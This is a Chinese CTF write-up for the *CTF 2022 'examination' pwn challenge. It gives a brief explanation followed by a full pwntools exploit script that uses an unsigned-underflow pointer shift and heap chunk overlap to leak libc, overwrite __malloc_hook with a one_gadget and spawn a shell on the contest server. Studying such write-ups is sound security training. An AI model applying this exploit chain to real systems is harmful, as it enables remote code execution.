题目

https://gitee.com/csomebro/ctftask/blob/master/2022-04_%2ACTF/examination.zip

解题

角色扮演的pwn题,可以切换学生和老师

发现了好多漏洞,估计是考漏洞的利用,当然解法可能就不止一种

主要利用的漏洞:无符号数减法负数溢出,student role下的set mode中可以修改内存中的指针导致堆块堆叠

只用到一次free

思路,构造一个mode chunk使得这个chunk在comment chunk1的上方,以及另一个comment chunk2在其下方,然后pray一下,将指针下移16个字节,使得可以操控comment chunk的size位置,修改size为0x421绕过tcache,释放到unsorted bin,同时布置好comment chunk2的中伪造一个size位置,这个时候重新在分配一个和comment chunk1大小相同的commend chunk就会切割unsorted bin,使得main_arena的地址向后推移,写入comment chunk2,这个时候read comment chunk2就能够泄露libc基址,同样的手法,再add student,分配的student node和test node都会切割unsorted bin中的块,这个时候切割的unsorted bin就是之前堆块堆叠导致的comment chunk2,那我们就能够控制student node和test node,修改test node中的comment地址__malloc_hook,再向malloc_hook中写入ogg,再调用teacher role的pray,就能够getshell

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
from pwn import *

context.log_level='debug'
# io = process(['./ld-2.31.so', './examination'], env={'LD_PRELOAD':'./libc-2.31.so'})
io = remote('124.70.130.92', 60001)

roleg = 0
idg = -1
lazy_map = {}
reward_map = {}

def change_role(role):
global roleg, idg
roleg = role
if role == 0:
idg = -1
io.sendlineafter('choice>> ', '5')
io.sendlineafter('role: <0.teacher/1.student>: ', str(role))

def t_addstu(quesqtion_num):
(lambda x: (change_role(x) if roleg != x else 0))(0)
io.sendlineafter('choice>> ', '1')
rt = io.recv(5)
if 'enter' in rt:
io.sendlineafter('questions: ',str(quesqtion_num))
else:
print rt

def t_getshell():
(lambda x: (change_role(x) if roleg != x else 0))(0)
io.sendlineafter('choice>> ', '6')


def t_givescore():
(lambda x: (change_role(x) if roleg != x else 0))(0)
io.sendlineafter('choice>> ', '2')
io.recvuntil('marking testing papers.....\n')
rt = io.recvuntil('finish\n', drop=True)
rt = rt.strip().split('\n')
def f(ss):
ss = ss.replace('score for the ', '')
# print(ss)
a = int(ss[:ss.find('th')])
b = int(ss[ss.find('is ')+3:])
return (a, b)
ans = []
# print(rt)
for sr in rt:
# print(sr)
if 'b@d!' in sr:
continue
# print sr
ans.append(f(sr))
return ans

def t_comment(_id, comment, size):
(lambda x: (change_role(x) if roleg != x else 0))(0)
io.sendlineafter('choice>> ', '3')
io.sendlineafter('which one? > ', str(_id))
rt = io.recv(5)
if 'pleas' in rt:
io.sendlineafter('size of comment: ', str(size))
io.sendlineafter('ur comment:\n', comment)

def t_free(_id):
(lambda x: (change_role(x) if roleg != x else 0))(0)
io.sendlineafter('choice>> ', '4')
io.sendlineafter('which student id to choose?\n', str(_id))
lazy_map[_id] = 0
reward_map[_id] = 0


def s_change_id(_id):
global idg
(lambda x: (change_role(x) if roleg != x else 0))(1)
io.sendlineafter('choice>> ', '6')
io.sendlineafter('input your id: ', str(_id))
idg = _id

def s_pray(_id):
(lambda x: (change_role(x) if roleg != x else 0))(1)
(lambda x: (s_change_id(x) if idg != x else 0))(_id)
io.sendlineafter('choice>> ', '3')
lazy_map[_id] = 1 - lazy_map.get(_id, 0)

def s_set_mode(_id, mode):
(lambda x: (change_role(x) if roleg != x else 0))(1)
(lambda x: (s_change_id(x) if idg != x else 0))(_id)
io.sendlineafter('choice>> ', '4')
rt = io.recvuntil('\n')
if 'mode' in rt:
io.sendline(mode)
else:
io.sendline(str(mode))

def s_check_review(_id, to_reward, fx, has_comment, tf=lambda x: x):
if reward_map.get(_id, 0) == 1:
return
if to_reward:
s_pray(_id)
while True:
tmp = t_givescore()
tmp = dict(tmp)
assert _id in tmp
if tmp[_id] < 10:
break
(lambda x: (change_role(x) if roleg != x else 0))(1)
(lambda x: (s_change_id(x) if idg != x else 0))(_id)
io.sendlineafter('choice>> ', '2')
if to_reward:
io.recvuntil('Good Job! Here is your reward! ')
target_addr = int(io.recvuntil('\n', drop=True), 16)
tf(target_addr)
target_addr = fx(target_addr)
io.sendafter('add 1 to wherever you want! addr: ', str(target_addr))
reward_map[_id] = 1
if has_comment:
io.recvuntil('here is the review:\n')



io.sendlineafter('role: <0.teacher/1.student>: ', str(roleg))
for i in range(7):
t_addstu(9)

# t_comment(6, 'sss', )
# s_set_mode(3, 'asdf')
s_set_mode(4, 'asdf')
s_set_mode(5, 'asdf')

t_comment(6, 'sss', 0x300)
t_comment(5, 'a'*0x100+p64(0)+p64(0x201), 0x300)

s_pray(5)
s_set_mode(5, 32)
s_pray(5)
s_set_mode(5, 'q'*8 + p64(0x421))

t_free(6)
t_comment(4, 'sss', 0x300)

s_check_review(5, False, null, True)
main_arena = u64(io.recv(8)) - 96

libc_base = main_arena - 0x00001ECB80
log.success("libc_base: " + hex(libc_base))

t_addstu(1)
t_comment(6, 'sss', 0x300)

heap_addr = 0
def ftmp(addr):
global heap_addr
heap_addr = addr

s_check_review(6, True, lambda x: x-0x10, True, ftmp)
log.success('heap_addr: ' + hex(heap_addr))

libc = ELF('./libc-2.31.so')
malloc_hook = libc.sym['__malloc_hook'] + libc_base

p = p64(heap_addr+0x30) + p64(0)*2 + p64(0x100000001) + p64(0) + p64(0x21) + p64(0x100000001) + p64(malloc_hook) + p64(8)
t_comment(5, p, 0x300)

ogg = [0xe3b2e, 0xe3b31, 0xe3b34]

t_comment(6, p64(ogg[1]+libc_base), 0x300)

t_getshell()

# gdb.attach(io)

io.interactive()

本文采用CC-BY-SA-3.0协议,转载请注明出处
作者: Csome